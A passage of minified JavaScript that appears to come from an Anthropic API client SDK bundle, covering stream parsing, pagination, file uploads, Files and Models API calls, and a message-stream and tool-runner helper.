G35(A,K){let q=A.indexOf(K);if(q!==-1)return[A.substring(0,q),K,A.substring(q+K.length)];return[A,"",""]}var qkA,oj;var mp1=k(()=>{NF();rj();up1();C6A();jA1();rj();oj=class oj{constructor(A,K,q){this.iterator=A,qkA.set(this,void 0),this.controller=K,_7(this,qkA,q,"f")}static fromSSEResponse(A,K,q){let Y=!1,z=q?r_(q):console;async function*w(){if(Y)throw new O7("Cannot iterate over a consumed stream, use `.tee()` to split the stream.");Y=!0;let H=!1;try{for await(let J of $35(A,K)){if(J.event==="completion")try{yield JSON.parse(J.data)}catch(O){throw z.error("Could not parse message into JSON:",J.data),z.error("From chunk:",J.raw),O}if(J.event==="message_start"||J.event==="message_delta"||J.event==="message_stop"||J.event==="content_block_start"||J.event==="content_block_delta"||J.event==="content_block_stop")try{yield JSON.parse(J.data)}catch(O){throw z.error("Could not parse message into JSON:",J.data),z.error("From chunk:",J.raw),O}if(J.event==="ping")continue;if(J.event==="error")throw new r7(void 0,GA1(J.data)??J.data,void 0,A.headers)}H=!0}catch(J){if(TF(J))return;throw J}finally{if(!H)K.abort()}}return new oj(w,K,q)}static fromReadableStream(A,K,q){let Y=!1;async function*z(){let H=new Ci,J=eEA(A);for await(let O of J)for(let X of H.decode(O))yield X;for(let O of H.flush())yield O}async function*w(){if(Y)throw new O7("Cannot iterate over a consumed stream, use `.tee()` to split the stream.");Y=!0;let H=!1;try{for await(let J of z()){if(H)continue;if(J)yield JSON.parse(J)}H=!0}catch(J){if(TF(J))return;throw J}finally{if(!H)K.abort()}}return new oj(w,K,q)}[(qkA=new WeakMap,Symbol.asyncIterator)](){return this.iterator()}tee(){let A=[],K=[],q=this.iterator(),Y=(z)=>{return{next:()=>{if(z.length===0){let w=q.next();A.push(w),K.push(w)}return z.shift()}}};return[new oj(()=>Y(A),this.controller,x6(this,qkA,"f")),new oj(()=>Y(K),this.controller,x6(this,qkA,"f"))]}toReadableStream(){let A=this,K;return bp1({async start(){K=A[Symbol.asyncIterator]()},async pull(q){try{let{value:Y,done:z}=await K.next();if(z)return q.close();let w=AkA(JSON.stringify(Y)+` `);q.enqueue(w)}catch(Y){q.error(Y)}},async cancel(){await K.return?.()}})}}});async function MA1(A,K){let{response:q,requestLogID:Y,retryOfRequestLogID:z,startTime:w}=K,H=await(async()=>{if(K.options.stream){if(r_(A).debug("response",q.status,q.url,q.headers,q.body),K.options.__streamClass)return K.options.__streamClass.fromSSEResponse(q,K.controller);return oj.fromSSEResponse(q,K.controller)}if(q.status===204)return null;if(K.options.__binaryResponse)return q;let O=q.headers.get("content-type")?.split(";")[0]?.trim();if(O?.includes("application/json")||O?.endsWith("+json")){let _=await q.json();return gp1(_,q)}return await q.text()})();return r_(A).debug(`[${Y}] response parsed`,vF({retryOfRequestLogID:z,url:q.url,status:q.status,body:H,durationMs:Date.now()-w})),H}function gp1(A,K){if(!A||typeof A!=="object"||Array.isArray(A))return A;return Object.defineProperty(A,"_request_id",{value:K.headers.get("request-id"),enumerable:!1})}var Fp1=k(()=>{mp1();jA1()});var YkA,L6A;var PA1=k(()=>{NF();Fp1();L6A=class L6A extends Promise{constructor(A,K,q=MA1){super((Y)=>{Y(null)});this.responsePromise=K,this.parseResponse=q,YkA.set(this,void 0),_7(this,YkA,A,"f")}_thenUnwrap(A){return new L6A(x6(this,YkA,"f"),this.responsePromise,async(K,q)=>gp1(A(await this.parseResponse(K,q),q),q.response))}asResponse(){return this.responsePromise.then((A)=>A.response)}async withResponse(){let[A,K]=await Promise.all([this.parse(),this.asResponse()]);return{data:A,response:K,request_id:K.headers.get("request-id")}}parse(){if(!this.parsedPromise)this.parsedPromise=this.responsePromise.then((A)=>this.parseResponse(x6(this,YkA,"f"),A));return this.parsedPromise}then(A,K){return this.parse().then(A,K)}catch(A){return this.parse().catch(A)}finally(A){return this.parse().finally(A)}};YkA=new WeakMap});var VA1,Qp1,fA1,QR,zkA;var yb=k(()=>{NF();rj();Fp1();PA1();C6A();Qp1=class Qp1{constructor(A,K,q,Y){VA1.set(this,void 0),_7(this,VA1,A,"f"),this.options=Y,this.response=K,this.body=q}hasNextPage(){if(!this.getPaginatedItems().length)return!1;return this.nextPageRequestOptions()!=null}async getNextPage(){let A=this.nextPageRequestOptions();if(!A)throw new O7("No next page expected; please check `.hasNextPage()` before calling `.getNextPage()`.");return await x6(this,VA1,"f").requestAPIList(this.constructor,A)}async*iterPages(){let A=this;yield A;while(A.hasNextPage())A=await A.getNextPage(),yield A}async*[(VA1=new WeakMap,Symbol.asyncIterator)](){for await(let A of this.iterPages())for(let K of A.getPaginatedItems())yield K}};fA1=class fA1 extends L6A{constructor(A,K,q){super(A,K,async(Y,z)=>new q(Y,z.response,await MA1(Y,z),z.options))}async*[Symbol.asyncIterator](){let A=await this;for await(let K of A)yield K}};QR=class QR extends Qp1{constructor(A,K,q,Y){super(A,K,q,Y);this.data=q.data||[],this.has_more=q.has_more||!1,this.first_id=q.first_id||null,this.last_id=q.last_id||null}getPaginatedItems(){return this.data??[]}hasNextPage(){if(this.has_more===!1)return!1;return super.hasNextPage()}nextPageRequestOptions(){if(this.options.query?.before_id){let K=this.first_id;if(!K)return null;return{...this.options,query:{..._A1(this.options.query),before_id:K}}}let A=this.last_id;if(!A)return null;return{...this.options,query:{..._A1(this.options.query),after_id:A}}}};zkA=class zkA extends Qp1{constructor(A,K,q,Y){super(A,K,q,Y);this.data=q.data||[],this.has_more=q.has_more||!1,this.next_page=q.next_page||null}getPaginatedItems(){return this.data??[]}hasNextPage(){if(this.has_more===!1)return!1;return super.hasNextPage()}nextPageRequestOptions(){let A=this.next_page;if(!A)return null;return{...this.options,query:{..._A1(this.options.query),page:A}}}}});function R6A(A,K,q){return pp1(),new File(A,K??"unknown_file",q)}function wkA(A){return(typeof A==="object"&&A!==null&&(("name"in A)&&A.name&&String(A.name)||("url"in A)&&A.url&&String(A.url)||("filename"in A)&&A.filename&&String(A.filename)||("path"in A)&&A.path&&String(A.path))||"").split(/[\\/]/).pop()||void 0}function W35(A){let K=typeof A==="function"?A:A.fetch,q=$y8.get(K);if(q)return q;let Y=(async()=>{try{let z="Response"in K?K.Response:(await K("data:,")).constructor,w=new FormData;if(w.toString()===await new z(w).text())return!1;return!0}catch{return!0}})();return $y8.set(K,Y),Y}var pp1=()=>{if(typeof File>"u"){let{process:A}=globalThis,K=typeof A?.versions?.node==="string"&&parseInt(A.versions.node.split("."))<20;throw Error("`File` is not defined as a global, which is required for file uploads."+(K?" Update to Node 20 LTS or newer, or set `globalThis.File` to `import('node:buffer').File`.":""))}},dp1=(A)=>A!=null&&typeof A==="object"&&typeof A[Symbol.asyncIterator]==="function",aHA=async(A,K)=>{return{...A,body:await D35(A.body,K)}},$y8,D35=async(A,K)=>{if(!await W35(K))throw TypeError("The provided fetch function does not support file uploads with the current global FormData class.");let q=new FormData;return await Promise.all(Object.entries(A||{}).map(([Y,z])=>Up1(q,Y,z))),q},j35=(A)=>A instanceof Blob&&("name"in A),Up1=async(A,K,q)=>{if(q===void 0)return;if(q==null)throw TypeError(`Received null for "${K}"; to pass null in FormData, you must use the string 'null'`);if(typeof q==="string"||typeof q==="number"||typeof q==="boolean")A.append(K,String(q));else if(q instanceof Response){let Y={},z=q.headers.get("Content-Type");if(z)Y={type:z};A.append(K,R6A([await q.blob()],wkA(q),Y))}else if(dp1(q))A.append(K,R6A([await new Response(ZA1(q)).blob()],wkA(q)));else if(j35(q))A.append(K,R6A([q],wkA(q),{type:q.type}));else if(Array.isArray(q))await Promise.all(q.map((Y)=>Up1(A,K+"[]",Y)));else if(typeof q==="object")await Promise.all(Object.entries(q).map(([Y,z])=>Up1(A,`${K}[${Y}]`,z)));else throw TypeError(`Invalid value given to form, expected a string, number, boolean, object, Array, File or Blob but got ${q} instead`)};var sHA=k(()=>{$y8=new WeakMap});async function NA1(A,K,q){if(pp1(),A=await A,K||(K=wkA(A)),M35(A)){if(A instanceof File&&K==null&&q==null)return A;return R6A([await A.arrayBuffer()],K??A.name,{type:A.type,lastModified:A.lastModified,...q})}if(P35(A)){let z=await A.blob();return K||(K=new URL(A.url).pathname.split(/[\\/]/).pop()),R6A(await cp1(z),K,q)}let Y=await cp1(A);if(!q?.type){let z=Y.find((w)=>typeof w==="object"&&("type"in w)&&w.type);if(typeof z==="string")q={...q,type:z}}return R6A(Y,K,q)}async function cp1(A){let K=[];if(typeof A==="string"||ArrayBuffer.isView(A)||A instanceof ArrayBuffer)K.push(A);else if(_y8(A))K.push(A instanceof Blob?A:await A.arrayBuffer());else if(dp1(A))for await(let q of A)K.push(...await cp1(q));else{let q=A?.constructor?.name;throw Error(`Unexpected data type: ${typeof A}${q?`; constructor: ${q}`:""}${V35(A)}`)}return K}function V35(A){if(typeof A!=="object"||A===null)return"";return`; props: [${Object.getOwnPropertyNames(A).map((q)=>`"${q}"`).join(", ")}]`}var _y8=(A)=>A!=null&&typeof A==="object"&&typeof A.size==="number"&&typeof A.type==="string"&&typeof A.text==="function"&&typeof A.slice==="function"&&typeof A.arrayBuffer==="function",M35=(A)=>A!=null&&typeof A==="object"&&typeof A.name==="string"&&typeof A.lastModified==="number"&&_y8(A),P35=(A)=>A!=null&&typeof A==="object"&&typeof A.url==="string"&&typeof A.blob==="function";var Gy8=k(()=>{sHA();sHA()});var lp1=k(()=>{Gy8()});var Zy8=()=>{};class qO{constructor(A){this._client=A}}function*N35(A){if(!A)return;if(Wy8 in A){let{values:Y,nulls:z}=A;yield*Y.entries();for(let w of z)yield[w,null];return}let K=!1,q;if(A instanceof Headers)q=A.entries();else if(Sp1(A))q=A;else K=!0,q=Object.entries(A??{});for(let Y of q){let z=Y[0];if(typeof z!=="string")throw TypeError("expected header name to be a string");let w=Sp1(Y[1])?Y[1]:[Y[1]],H=!1;for(let J of w){if(J===void 0)continue;if(K&&!H)H=!0,yield[z,null];yield[z,J]}}}var Wy8,j5=(A)=>{let K=new Headers,q=new Set;for(let Y of A){let z=new Set;for(let[w,H]of N35(Y)){let J=w.toLowerCase();if(!z.has(J))K.delete(w),z.add(J);if(H===null)K.delete(w),q.add(J);else K.append(w,H),q.delete(J)}}return{[Wy8]:!0,values:K,nulls:q}};var UE=k(()=>{C6A();Wy8=Symbol.for("brand.privateNullableHeaders")});function jy8(A){return A.replace(/[^A-Za-z0-9\-._~!$&'()*+,;=:@]+/g,encodeURIComponent)}var Dy8,T35=(A=jy8)=>function(q,...Y){if(q.length===1)return q[0];let z=!1,w=[],H=q.reduce(($,_,G)=>{if(/[?#]/.test(_))z=!0;let Z=Y[G],W=(z?encodeURIComponent:A)(""+Z);if(G!==Y.length&&(Z==null||typeof Z==="object"&&Z.toString===Object.getPrototypeOf(Object.getPrototypeOf(Z.hasOwnProperty??Dy8)??Dy8)?.toString))W=Z+"",w.push({start:$.length+_.length,length:W.length,error:`Value of type ${Object.prototype.toString.call(Z).slice(8,-1)} is not a valid path parameter`});return $+_+(G===Y.length?"":W)},""),J=H.split(/[?#]/,1)[0],O=/(?<=^|\/)(?:\.|%2e){1,2}(?=\/|$)/gi,X;while((X=O.exec(J))!==null)w.push({start:X.index,length:X[0].length,error:`Value "${X[0]}" can't be safely passed as a path parameter`});if(w.sort(($,_)=>$.start-_.start),w.length>0){let $=0,_=w.reduce((G,Z)=>{let W=" ".repeat(Z.start-$),D="^".repeat(Z.length);return $=Z.start+Z.length,G+W+D},"");throw new O7(`Path parameters result in path with invalid segments: ${w.map((G)=>G.error).join(` `)} ${H} ${_}`)}return H},ZJ;var Li=k(()=>{rj();Dy8=Object.freeze(Object.create(null)),ZJ=T35(jy8)});var HkA;var ip1=k(()=>{yb();UE();sHA();Li();HkA=class HkA extends qO{list(A={},K){let{betas:q,...Y}=A??{};return this._client.getAPIList("/v1/files",QR,{query:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"files-api-2025-04-14"].toString()},K?.headers])})}delete(A,K={},q){let{betas:Y}=K??{};return this._client.delete(ZJ`/v1/files/${A}`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"files-api-2025-04-14"].toString()},q?.headers])})}download(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/files/${A}/content`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"files-api-2025-04-14"].toString(),Accept:"application/binary"},q?.headers]),__binaryResponse:!0})}retrieveMetadata(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/files/${A}`,{...q,headers:j5([{"anthropic-beta":[...Y??[],"files-api-2025-04-14"].toString()},q?.headers])})}upload(A,K){let{betas:q,...Y}=A;return this._client.post("/v1/files",aHA({body:Y,...K,headers:j5([{"anthropic-beta":[...q??[],"files-api-2025-04-14"].toString()},K?.headers])},this._client))}}});var JkA;var np1=k(()=>{yb();UE();Li();JkA=class JkA extends qO{retrieve(A,K={},q){let{betas:Y}=K??{};return this._client.get(ZJ`/v1/models/${A}?beta=true`,{...q,headers:j5([{...Y?.toString()!=null?{"anthropic-beta":Y?.toString()}:void 0},q?.headers])})}list(A={},K){let{betas:q,...Y}=A??{};return this._client.getAPIList("/v1/models?beta=true",QR,{query:Y,...K,headers:j5([{...q?.toString()!=null?{"anthropic-beta":q?.toString()}:void 0},K?.headers])})}}});var TA1;var rp1=k(()=>{TA1={"claude-opus-4-20250514":8192,"claude-opus-4-0":8192,"claude-4-opus-20250514":8192,"anthropic.claude-opus-4-20250514-v1:0":8192,"claude-opus-4@20250514":8192,"claude-opus-4-1-20250805":8192,"anthropic.claude-opus-4-1-20250805-v1:0":8192,"claude-opus-4-1@20250805":8192}});function op1(A,K){if(!K||!("parse"in(K.output_format??{})))return{...A,content:A.content.map((q)=>{if(q.type==="text")return{...q,parsed:null};return q}),parsed_output:null};return ap1(A,K)}function ap1(A,K){let q=null,Y=A.content.map((z)=>{if(z.type==="text"){let w=k35(K,z.text);if(q===null)q=w;return{...z,parsed:w}}return z});return{...A,content:Y,parsed_output:q}}function k35(A,K){if(A.output_format?.type!=="json_schema")return null;try{if("parse"in A.output_format)return A.output_format.parse(K);return JSON.parse(K)}catch(q){throw new O7(`Failed to parse structured output: ${q}`)}}var sp1=k(()=>{rj()});var C35=(A)=>{let K=0,q=[];while(K<A.length){let Y=A[K];if(Y==="\\"){K++;continue}if(Y==="{"){q.push({type:"brace",value:"{"}),K++;continue}if(Y==="}"){q.push({type:"brace",value:"}"}),K++;continue}if(Y==="["){q.push({type:"paren",value:"["}),K++;continue}if(Y==="]"){q.push({type:"paren",value:"]"}),K++;continue}if(Y===":"){q.push({type:"separator",value:":"}),K++;continue}if(Y===","){q.push({type:"delimiter",value:","}),K++;continue}if(Y==='"'){let J="",O=!1;Y=A[++K];while(Y!=='"'){if(K===A.length){O=!0;break}if(Y==="\\"){if(K++,K===A.length){O=!0;break}J+=Y+A[K],Y=A[++K]}else J+=Y,Y=A[++K]}if(Y=A[++K],!O)q.push({type:"string",value:J});continue}if(Y&&/\s/.test(Y)){K++;continue}let w=/[0-9]/;if(Y&&w.test(Y)||Y==="-"||Y==="."){let J="";if(Y==="-")J+=Y,Y=A[++K];while(Y&&w.test(Y)||Y===".")J+=Y,Y=A[++K];q.push({type:"number",value:J});continue}let H=/[a-z]/i;if(Y&&H.test(Y)){let J="";while(Y&&H.test(Y)){if(K===A.length)break;J+=Y,Y=A[++K]}if(J=="true"||J=="false"||J==="null")q.push({type:"name",value:J});else{K++;continue}continue}K++}return q},tHA=(A)=>{if(A.length===0)return A;let K=A[A.length-1];switch(K.type){case"separator":return A=A.slice(0,A.length-1),tHA(A);break;case"number":let q=K.value[K.value.length-1];if(q==="."||q==="-")return A=A.slice(0,A.length-1),tHA(A);case"string":let Y=A[A.length-2];if(Y?.type==="delimiter")return A=A.slice(0,A.length-1),tHA(A);else if(Y?.type==="brace"&&Y.value==="{")return A=A.slice(0,A.length-1),tHA(A);break;case"delimiter":return A=A.slice(0,A.length-1),tHA(A);break}return A},L35=(A)=>{let K=[];if(A.map((q)=>{if(q.type==="brace")if(q.value==="{")K.push("}");else K.splice(K.lastIndexOf("}"),1);if(q.type==="paren")if(q.value==="[")K.push("]");else K.splice(K.lastIndexOf("]"),1)}),K.length>0)K.reverse().map((q)=>{if(q==="}")A.push({type:"brace",value:"}"});else if(q==="]")A.push({type:"paren",value:"]"})});return A},R35=(A)=>{let K="";return A.map((q)=>{switch(q.type){case"string":K+='"'+q.value+'"';break;default:K+=q.value;break}}),K},vA1=(A)=>JSON.parse(R35(L35(tHA(C35(A)))));var tp1=()=>{};var y6A=k(()=>{rj()});var EA1=k(()=>{mp1()});function fy8(A){return A.type==="tool_use"||A.type==="server_tool_use"||A.type==="mcp_tool_use"}function Ny8(A){}var pE,Ri,eHA,OkA,kA1,XkA,$kA,CA1,_kA,EF,GkA,LA1,RA1,AJA,yA1,IA1,ep1,My8,SA1,Ad1,Kd1,qd1,Py8,Vy8="__json_buf",ZkA;var Ty8=k(()=>{NF();tp1();y6A();EA1();sp1();ZkA=class ZkA{constructor(A){pE.add(this),this.messages=[],this.receivedMessages=[],Ri.set(this,void 0),eHA.set(this,null),this.controller=new AbortController,OkA.set(this,void 0),kA1.set(this,()=>{}),XkA.set(this,()=>{}),$kA.set(this,void 0),CA1.set(this,()=>{}),_kA.set(this,()=>{}),EF.set(this,{}),GkA.set(this,!1),LA1.set(this,!1),RA1.set(this,!1),AJA.set(this,!1),yA1.set(this,void 0),IA1.set(this,void 0),SA1.set(this,(K)=>{if(_7(this,LA1,!0,"f"),TF(K))K=new h2;if(K instanceof h2)return _7(this,RA1,!0,"f"),this._emit("abort",K);if(K instanceof O7)return this._emit("error",K);if(K instanceof Error){let q=new O7(K.message);return q.cause=K,this._emit("error",q)}return this._emit("error",new O7(String(K)))}),_7(this,OkA,new Promise((K,q)=>{_7(this,kA1,K,"f"),_7(this,XkA,q,"f")}),"f"),_7(this,$kA,new Promise((K,q)=>{_7(this,CA1,K,"f"),_7(this,_kA,q,"f")}),"f"),x6(this,OkA,"f").catch(()=>{}),x6(this,$kA,"f").catch(()=>{}),_7(this,eHA,A,"f")}get response(){return x6(this,yA1,"f")}get request_id(){return x6(this,IA1,"f")}async withResponse(){let A=await x6(this,OkA,"f");if(!A)throw Error("Could not resolve a `Response` object");return{data:this,response:A,request_id:A.headers.get("request-id")}}static fromReadableStream(A){let K=new ZkA(null);return K._run(()=>K._fromReadableStream(A)),K}static createMessage(A,K,q){let Y=new ZkA(K);for(let z of K.messages)Y._addMessageParam(z);return _7(Y,eHA,{...K,stream:!0},"f"),Y._run(()=>Y._createMessage(A,{...K,stream:!0},{...q,headers:{...q?.headers,"X-Stainless-Helper-Method":"stream"}})),Y}_run(A){A().then(()=>{this._emitFinal(),this._emit("end")},x6(this,SA1,"f"))}_addMessageParam(A){this.messages.push(A)}_addMessage(A,K=!0){if(this.receivedMessages.push(A),K)this._emit("message",A)}async _createMessage(A,K,q){let Y=q?.signal,z;if(Y){if(Y.aborted)this.controller.abort();z=this.controller.abort.bind(this.controller),Y.addEventListener("abort",z)}try{x6(this,pE,"m",Ad1).call(this);let{response:w,data:H}=await A.create({...K,stream:!0},{...q,signal:this.controller.signal}).withResponse();this._connected(w);for await(let J of H)x6(this,pE,"m",Kd1).call(this,J);if(H.controller.signal?.aborted)throw new h2;x6(this,pE,"m",qd1).call(this)}finally{if(Y&&z)Y.removeEventListener("abort",z)}}_connected(A){if(this.ended)return;_7(this,yA1,A,"f"),_7(this,IA1,A?.headers.get("request-id"),"f"),x6(this,kA1,"f").call(this,A),this._emit("connect")}get ended(){return x6(this,GkA,"f")}get errored(){return x6(this,LA1,"f")}get aborted(){return x6(this,RA1,"f")}abort(){this.controller.abort()}on(A,K){return(x6(this,EF,"f")[A]||(x6(this,EF,"f")[A]=[])).push({listener:K}),this}off(A,K){let q=x6(this,EF,"f")[A];if(!q)return this;let Y=q.findIndex((z)=>z.listener===K);if(Y>=0)q.splice(Y,1);return this}once(A,K){return(x6(this,EF,"f")[A]||(x6(this,EF,"f")[A]=[])).push({listener:K,once:!0}),this}emitted(A){return new Promise((K,q)=>{if(_7(this,AJA,!0,"f"),A!=="error")this.once("error",q);this.once(A,K)})}async done(){_7(this,AJA,!0,"f"),await x6(this,$kA,"f")}get currentMessage(){return x6(this,Ri,"f")}async finalMessage(){return await this.done(),x6(this,pE,"m",ep1).call(this)}async finalText(){return await this.done(),x6(this,pE,"m",My8).call(this)}_emit(A,...K){if(x6(this,GkA,"f"))return;if(A==="end")_7(this,GkA,!0,"f"),x6(this,CA1,"f").call(this);let q=x6(this,EF,"f")[A];if(q)x6(this,EF,"f")[A]=q.filter((Y)=>!Y.once),q.forEach(({listener:Y})=>Y(...K));if(A==="abort"){let Y=K[0];if(!x6(this,AJA,"f")&&!q?.length)Promise.reject(Y);x6(this,XkA,"f").call(this,Y),x6(this,_kA,"f").call(this,Y),this._emit("end");return}if(A==="error"){let Y=K[0];if(!x6(this,AJA,"f")&&!q?.length)Promise.reject(Y);x6(this,XkA,"f").call(this,Y),x6(this,_kA,"f").call(this,Y),this._emit("end")}}_emitFinal(){if(this.receivedMessages.at(-1))this._emit("finalMessage",x6(this,pE,"m",ep1).call(this))}async _fromReadableStream(A,K){let q=K?.signal,Y;if(q){if(q.aborted)this.controller.abort();Y=this.controller.abort.bind(this.controller),q.addEventListener("abort",Y)}try{x6(this,pE,"m",Ad1).call(this),this._connected(null);let z=oj.fromReadableStream(A,this.controller);for await(let w of z)x6(this,pE,"m",Kd1).call(this,w);if(z.controller.signal?.aborted)throw new h2;x6(this,pE,"m",qd1).call(this)}finally{if(q&&Y)q.removeEventListener("abort",Y)}}[(Ri=new WeakMap,eHA=new WeakMap,OkA=new WeakMap,kA1=new WeakMap,XkA=new WeakMap,$kA=new WeakMap,CA1=new WeakMap,_kA=new WeakMap,EF=new WeakMap,GkA=new WeakMap,LA1=new WeakMap,RA1=new WeakMap,AJA=new WeakMap,yA1=new WeakMap,IA1=new WeakMap,SA1=new WeakMap,pE=new WeakSet,ep1=function(){if(this.receivedMessages.length===0)throw new O7("stream ended without producing a Message with role=assistant");return this.receivedMessages.at(-1)},My8=function(){if(this.receivedMessages.length===0)throw new O7("stream ended without producing a Message with role=assistant");let K=this.receivedMessages.at(-1).content.filter((q)=>q.type==="text").map((q)=>q.text);if(K.length===0)throw new O7("stream ended without producing a content block with type=text");return K.join(" ")},Ad1=function(){if(this.ended)return;_7(this,Ri,void 0,"f")},Kd1=function(K){if(this.ended)return;let q=x6(this,pE,"m",Py8).call(this,K);switch(this._emit("streamEvent",K,q),K.type){case"content_block_delta":{let Y=q.content.at(-1);switch(K.delta.type){case"text_delta":{if(Y.type==="text")this._emit("text",K.delta.text,Y.text||"");break}case"citations_delta":{if(Y.type==="text")this._emit("citation",K.delta.citation,Y.citations??[]);break}case"input_json_delta":{if(fy8(Y)&&Y.input)this._emit("inputJson",K.delta.partial_json,Y.input);break}case"thinking_delta":{if(Y.type==="thinking")this._emit("thinking",K.delta.thinking,Y.thinking);break}case"signature_delta":{if(Y.type==="thinking")this._emit("signature",Y.signature);break}default:Ny8(K.delta)}break}case"message_stop":{this._addMessageParam(q),this._addMessage(op1(q,x6(this,eHA,"f")),!0);break}case"content_block_stop":{this._emit("contentBlock",q.content.at(-1));break}case"message_start":{_7(this,Ri,q,"f");break}case"content_block_start":case"message_delta":break}},qd1=function(){if(this.ended)throw new O7("stream has ended, this shouldn't happen");let K=x6(this,Ri,"f");if(!K)throw new O7("request ended without sending any chunks");return _7(this,Ri,void 0,"f"),op1(K,x6(this,eHA,"f"))},Py8=function(K){let q=x6(this,Ri,"f");if(K.type==="message_start"){if(q)throw new O7(`Unexpected event order, got ${K.type} before receiving "message_stop"`);return K.message}if(!q)throw new O7(`Unexpected event order, got ${K.type} before "message_start"`);switch(K.type){case"message_stop":return q;case"message_delta":if(q.container=K.delta.container,q.stop_reason=K.delta.stop_reason,q.stop_sequence=K.delta.stop_sequence,q.usage.output_tokens=K.usage.output_tokens,q.context_management=K.context_management,K.usage.input_tokens!=null)q.usage.input_tokens=K.usage.input_tokens;if(K.usage.cache_creation_input_tokens!=null)q.usage.cache_creation_input_tokens=K.usage.cache_creation_input_tokens;if(K.usage.cache_read_input_tokens!=null)q.usage.cache_read_input_tokens=K.usage.cache_read_input_tokens;if(K.usage.server_tool_use!=null)q.usage.server_tool_use=K.usage.server_tool_use;return q;case"content_block_start":return q.content.push(K.content_block),q;case"content_block_delta":{let Y=q.content.at(K.index);switch(K.delta.type){case"text_delta":{if(Y?.type==="text")q.content[K.index]={...Y,text:(Y.text||"")+K.delta.text};break}case"citations_delta":{if(Y?.type==="text")q.content[K.index]={...Y,citations:[...Y.citations??[],K.delta.citation]};break}case"input_json_delta":{if(Y&&fy8(Y)){let z=Y[Vy8]||"";z+=K.delta.partial_json;let w={...Y};if(Object.defineProperty(w,Vy8,{value:z,enumerable:!1,writable:!0}),z)try{w.input=vA1(z)}catch(H){let J=new O7(`Unable to parse tool parameter JSON from model. Please retry your request or adjust your prompt. Error: ${H}. JSON: ${z}`);x6(this,SA1,"f").call(this,J)}q.content[K.index]=w}break}case"thinking_delta":{if(Y?.type==="thinking")q.content[K.index]={...Y,thinking:Y.thinking+K.delta.thinking};break}case"signature_delta":{if(Y?.type==="thinking")q.content[K.index]={...Y,signature:K.delta.signature};break}default:Ny8(K.delta)}return q}case"content_block_stop":return q}},Symbol.asyncIterator)](){let A=[],K=[],q=!1;return this.on("streamEvent",(Y)=>{let z=K.shift();if(z)z.resolve(Y);else A.push(Y)}),this.on("end",()=>{q=!0;for(let Y of K)Y.resolve(void 0);K.length=0}),this.on("abort",(Y)=>{q=!0;for(let z of K)z.reject(Y);K.length=0}),this.on("error",(Y)=>{q=!0;for(let z of K)z.reject(Y);K.length=0}),{next:async()=>{if(!A.length){if(q)return{value:void 0,done:!0};return new Promise((z,w)=>K.push({resolve:z,reject:w})).then((z)=>z?{value:z,done:!1}:{value:void 0,done:!0})}return{value:A.shift(),done:!1}},return:async()=>{return this.abort(),{value:void 0,done:!0}}}}toReadableStream(){return new oj(this[Symbol.asyncIterator].bind(this),this.controller).toReadableStream()}}});function vy8(){let A,K;return{promise:new Promise((Y,z)=>{A=Y,K=z}),resolve:A,reject:K}}async function y35(A,K=A.messages.at(-1)){if(!K||K.role!=="assistant"||!K.content||typeof K.content==="string")return null;let q=K.content.filter((z)=>z.type==="tool_use");if(q.length===0)return null;return{role:"user",content:await Promise.all(q.map(async(z)=>{let w=A.tools.find((H)=>H.name===z.name);if(!w||!("run"in w))return{type:"tool_result",tool_use_id:z.id,content:`Error: Tool '${z.name}' not found`,is_error:!0};try{let H=z.input;if("parse"in w&&w.parse)H=w.parse(H);let J=await w.run(H);return{type:"tool_result",tool_use_id:z.id,content:J}}catch(H){return{type:"tool_result",tool_use_id:z.id,content:`Error: ${H instanceof Error?H.message:String(H)}`,is_error:!0}}}))}}var hA1,KJA,I6A,ZV,WkA,UR,kF,yi,DkA,Yd1,jkA;var zd1=k(()=>{NF();rj();UE();jkA=class jkA{constructor(A,K,q){hA1.add(this),this.client=A,KJA.set(this,!1),I6A.set(this,!1),ZV.set(this,void 0),WkA.set(this,void 0),UR.set(this,void 0),kF.set(this,void 0),yi.set(this,void 0),DkA.set(this,0),_7(this,ZV,{params:{...K,messages:structuredClone(K.messages)}},"f"),_7(this,WkA,{...q,headers:j5([{"x-stainless-helper":"BetaToolRunner"},q?.headers])},"f"),_7(this,yi,vy8(),"f")}async*[(KJA=new WeakMap,I6A=new WeakMap,ZV=new WeakMap,WkA=new WeakMap,UR=new WeakMap,kF=new WeakMap,yi=new WeakMap,DkA=new WeakMap,hA1=new WeakSet,Symbol.asyncIterator)](){var A;if(x6(this,KJA,"f"))throw new O7("Cannot iterate over a consumed stream");_7(this,KJA,!0,"f"),_7(this,I6A,!0,"f"),_7(this,kF,void 0,"f");try{while(!0){let K;try{if(x6(this,ZV,"f").params.max_iterations&&x6(this,DkA,"f")>=x6(this,ZV,"f").params.max_iterations)break;_7(this,I6A,!1,"f"),_7(this,UR,void 0,"f"),_7(this,kF,void 0,"f"),_7(this,DkA,(A=x6(this,DkA,"f"),A++,A),"f");let{max_iterations:q,...Y}=x6(this,ZV,"f").params;if(Y.stream)K=this.client.beta.messages.stream({...Y},x6(this,WkA,"f")),_7(this,UR,K.finalMessage(),"f"),x6(this,UR,"f").catch(()=>{}),yield K;else _7(this,UR,this.client.beta.messages.create({...Y,stream:!1},x6(this,WkA,"f")),"f"),yield x6(this,UR,"f");if(!x6(this,I6A,"f")){let{role:w,content:H}=await x6(this,UR,"f");x6(this,ZV,"f").params.messages.push({role:w,content:H})}let z=await x6(this,hA1,"m",Yd1).call(this,x6(this,ZV,"f").params.messages.at(-1));if(z)x6(this,ZV,"f").params.messages.push(z);if(!z&&!x6(this,I6A,"f"))break}finally{if(K)K.abort()}}if(!x6(this,UR,"f"))throw new O7("ToolRunner concluded without a message from the server");x6(this,yi,"f").resolve(await x6(this,UR,"f"))}catch(K){throw _7(this,KJA,!1,"f"),x6(this,yi,"f").promise.catch(()=>{}),x6(this,yi,"f").reject(K),_7(this,yi,vy8(),"f"),K}}setMessagesParams(A){if(typeof A==="function")x6(this,ZV,"f").params=A(x6(this,ZV,"f").params);else x6(this,ZV,"f").params=A;_7(this,I6A,!0,"f"),_7(this,kF,void 0,"f")}async generateToolResponse(){let A=await x6(this,UR,"f")??this.params.messages.at(-1);if(!A)return null;return x6(this,hA1,"m",Yd1).call(this,A)}done(){return x6(this,yi,"f").promise}async runUntilDone(){if(!x6(this,KJA,"f"))for await(let A of this);return this.done()}get params(){return x6(this,ZV,"f").params}pushMessages(...A){this.setMessagesParams((K)=>({...K,messages:[...K.messages,...A]}))}then(A,K){return 